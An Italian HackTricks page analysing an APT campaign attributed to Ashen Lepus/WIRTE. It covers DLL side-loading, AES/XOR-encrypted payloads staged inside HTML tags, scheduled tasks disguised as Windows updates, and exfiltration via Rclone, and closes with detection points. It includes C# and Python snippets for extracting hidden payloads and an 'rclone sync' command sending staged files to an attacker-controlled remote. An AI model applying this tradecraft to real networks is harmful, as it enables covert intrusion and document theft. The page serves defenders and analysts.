Avanzato DLL Side-Loading Con HTML-Embedded Payload Staging
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.
Panoramica del tradecraft
Ashen Lepus (aka WIRTE) ha sfruttato un pattern ripetibile che concatena DLL sideloading, staged HTML payloads e backdoor modulari .NET per persistere nelle reti diplomatiche del Medio Oriente. La tecnica è riutilizzabile da qualunque operatore perché si basa su:
- Archive-based social engineering: PDF benigni istruiscono i bersagli a scaricare un archivio RAR da un sito di file-sharing. L’archivio include un EXE viewer di documenti dall’aspetto legittimo, una DLL malevola nominata come una libreria affidabile (es.,
netutils.dll,srvcli.dll,dwampi.dll,wtsapi32.dll), e un escaDocument.pdf. - DLL search order abuse: la vittima fa doppio clic sull’EXE, Windows risolve l’import della DLL dalla directory corrente, e il loader malevolo (AshenLoader) viene eseguito all’interno del processo affidabile mentre il PDF di esca si apre per evitare sospetti.
- Living-off-the-land staging: ogni fase successiva (AshenStager → AshenOrchestrator → modules) è mantenuta off-disk fino al momento del bisogno, consegnata come blob crittografati nascosti all’interno di risposte HTML altrimenti innocue.
Catena Multi-Fase di Side-Loading
- Decoy EXE → AshenLoader: l’EXE side-loads AshenLoader, che esegue host recon, lo cifra con AES-CTR e lo invia via POST dentro parametri rotanti come
token=,id=,q=, oauth=verso percorsi che sembrano API (es.,/api/v2/account). - HTML extraction: il C2 rivela il passo successivo solo quando l’IP client geolocalizza nella regione target e il
User-Agentcorrisponde all’implant, frustrando le sandbox. Quando i controlli passano il corpo HTTP contiene un blob<headerp>...</headerp>con il payload AshenStager cifrato in Base64/AES-CTR. - Second sideload: AshenStager viene distribuito con un altro binario legittimo che importa
wtsapi32.dll. La copia malevola iniettata nel binario recupera altro HTML, questa volta estraendo<article>...</article>per ricostruire AshenOrchestrator. - AshenOrchestrator: un controller .NET modulare che decodifica una config JSON in Base64. I campi
tgeaudella config vengono concatenati/hashati nella chiave AES, che decriptaxrk. I byte risultanti fungono da chiave XOR per ogni blob di modulo recuperato successivamente. - Module delivery: ogni modulo è descritto tramite commenti HTML che reindirizzano il parser a un tag arbitrario, infrangendo regole statiche che cercano solo
<headerp>o<article>. I moduli includono persistence (PR*), uninstallers (UN*), reconnaissance (SN), screen capture (SCT) e file exploration (FE).
Pattern di parsing del contenitore HTML
var tag = Regex.Match(html, "<!--\s*TAG:\s*<(.*?)>\s*-->").Groups[1].Value;
var base64 = Regex.Match(html, $"<{tag}>(.*?)</{tag}>", RegexOptions.Singleline).Groups[1].Value;
var aesBytes = AesCtrDecrypt(Convert.FromBase64String(base64), key, nonce);
var module = XorBytes(aesBytes, xorKey);
LoadModule(JsonDocument.Parse(Encoding.UTF8.GetString(module)));
Anche se i difensori bloccano o rimuovono un elemento specifico, l’operatore deve solo cambiare il tag indicato nel commento HTML per riprendere la consegna.
Helper di estrazione rapida (Python)
import base64, re, requests
html = requests.get(url, headers={"User-Agent": ua}).text
tag = re.search(r"<!--\s*TAG:\s*<(.*?)>\s*-->", html, re.I).group(1)
b64 = re.search(fr"<{tag}>(.*?)</{tag}>", html, re.S | re.I).group(1)
blob = base64.b64decode(b64)
# decrypt blob with AES-CTR, then XOR if required
Paralleli di evasione dello staging HTML
Recenti ricerche su HTML smuggling (Talos) evidenziano payload nascosti come stringhe Base64 all’interno di blocchi <script> in allegati HTML e decodificati via JavaScript a runtime. Lo stesso trucco può essere riutilizzato per risposte C2: mettere in stage blob cifrati all’interno di un tag <script> (o altro elemento DOM) e decodificarli in-memory prima di AES/XOR, facendo sembrare la pagina HTML ordinaria. Talos mostra anche obfuscazione a strati (identifier renaming più Base64/Caesar/AES) all’interno di tag <script>, che si mappa chiaramente ai blob C2 stageati in HTML.
Note sulle varianti recenti (2024-2025)
- Check Point ha osservato campagne WIRTE nel 2024 che si basavano ancora sullo sideloading tramite archivi ma usavano
propsys.dll(stagerx64) come primo stage. Lo stager decodifica il payload successivo con Base64 + XOR (chiave53), invia richieste HTTP con unUser-Agenthardcoded ed estrae blob cifrati incorporati tra tag HTML. In un ramo, lo stage è stato ricostruito da una lunga lista di stringhe IP incorporate decodificate tramiteRtlIpv4StringToAddressA, poi concatenate nei byte del payload. - OWN-CERT ha documentato tooling WIRTE precedente in cui il dropper side-loaded
wtsapi32.dllproteggeva le stringhe con Base64 + TEA e usava il nome della DLL come chiave di decrittazione, poi offuscava i dati di identificazione host con XOR/Base64 prima di inviarli al C2.
Rafforzamento Crypto & C2
- AES-CTR ovunque: i loader attuali incorporano chiavi a 256 bit più nonces (es.,
{9a 20 51 98 ...}) e opzionalmente aggiungono un layer XOR usando stringhe comemsasn1.dllprima/dopo la decrittazione. - Variazioni sul materiale chiave: i loader precedenti usavano Base64 + TEA per proteggere stringhe incorporate, con la chiave di decrittazione derivata dal nome della DLL malevola (es.,
wtsapi32.dll). - Infrastructure split + subdomain camouflage: i server di staging sono separati per tool, ospitati su ASN diversi e talvolta mascherati da subdomain dal look legittimo, quindi bruciare uno stage non espone il resto.
- Recon smuggling: i dati enumerati ora includono listing di Program Files per individuare app di alto valore e vengono sempre cifrati prima di uscire dall’host.
- URI churn: i parametri di query e i percorsi REST ruotano tra le campagne (
/api/v1/account?token=→/api/v2/account?auth=), invalidando rilevazioni fragili. - User-Agent pinning + safe redirects: l’infrastruttura C2 risponde solo a stringhe UA esatte e altrimenti reindirizza a siti di news/salute benigni per mimetizzarsi.
- Gated delivery: i server sono geo-fenced e rispondono solo a implant reali. Client non approvati ricevono HTML non sospetto.
Persistenza e ciclo di esecuzione
AshenStager crea attività pianificate che si mascherano da job di manutenzione di Windows e vengono eseguite tramite svchost.exe, e.g.:
C:\Windows\System32\Tasks\Windows\WindowsDefenderUpdate\Windows Defender UpdaterC:\Windows\System32\Tasks\Windows\WindowsServicesUpdate\Windows Services UpdaterC:\Windows\System32\Tasks\Automatic Windows Update
Queste attività rilanciano la catena di sideloading all’avvio o a intervalli, permettendo ad AshenOrchestrator di richiedere moduli freschi senza toccare nuovamente il disco.
Uso di client di sync benigni per l’esfiltrazione
Gli operatori stageano documenti diplomatici dentro C:\Users\Public (leggibili da tutti e non sospetti) tramite un modulo dedicato, poi scaricano il binario legittimo di Rclone per sincronizzare quella directory con lo storage controllato dall’attaccante. Unit42 osserva che è la prima volta che questo actor è stato visto usare Rclone per esfiltrazione, in linea con la tendenza più ampia di abusare di strumenti di sync legittimi per confondersi nel traffico normale:
- Stage: copiare/raccogliere i file target in
C:\Users\Public\{campaign}\. - Configure: consegnare una config di Rclone che punti a un endpoint HTTPS controllato dall’attaccante (es.,
api.technology-system[.]com). - Sync: eseguire
rclone sync "C:\Users\Public\campaign" remote:ingest --transfers 4 --bwlimit 4M --quietin modo che il traffico somigli a normali backup cloud.
Poiché Rclone è ampiamente usato per workflow di backup legittimi, i difensori devono concentrarsi su esecuzioni anomale (nuovi binari, remoti sospetti, o sincronizzazioni improvvise di C:\Users\Public).
Punti di rilevamento
- Allertare su processi firmati che inaspettatamente caricano DLL da percorsi scrivibili dall’utente (filtri Procmon +
Get-ProcessMitigation -Module), specialmente quando i nomi delle DLL coincidono connetutils,srvcli,dwampi, owtsapi32. - Ispezionare risposte HTTPS sospette per grandi blob Base64 incorporati dentro tag insoliti o protetti da commenti
<!-- TAG: <xyz> -->. - Estendere la ricerca HTML a stringhe Base64 dentro blocchi
<script>(staging in stile HTML smuggling) che vengono decodificate via JavaScript prima del processamento AES/XOR. - Cercare attività pianificate che eseguono
svchost.execon argomenti non da servizio o che puntano a directory del dropper. - Monitorare C2 redirects che restituiscono payload solo per esatte stringhe
User-Agente altrimenti rimbalzano verso domini news/health legittimi. - Monitorare la presenza di binari Rclone fuori da location gestite dall’IT, nuovi file
rclone.conf, o job di sync che prelevano da directory di staging comeC:\Users\Public.
References
- Hamas-Affiliated Ashen Lepus Targets Middle Eastern Diplomatic Entities With New AshTag Malware Suite
- Hidden between the tags: Insights into evasion techniques in HTML smuggling
- Hamas-affiliated Threat Actor WIRTE Continues its Middle East Operations and Moves to Disruptive Activity
- WIRTE: In Search of Lost Time
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.


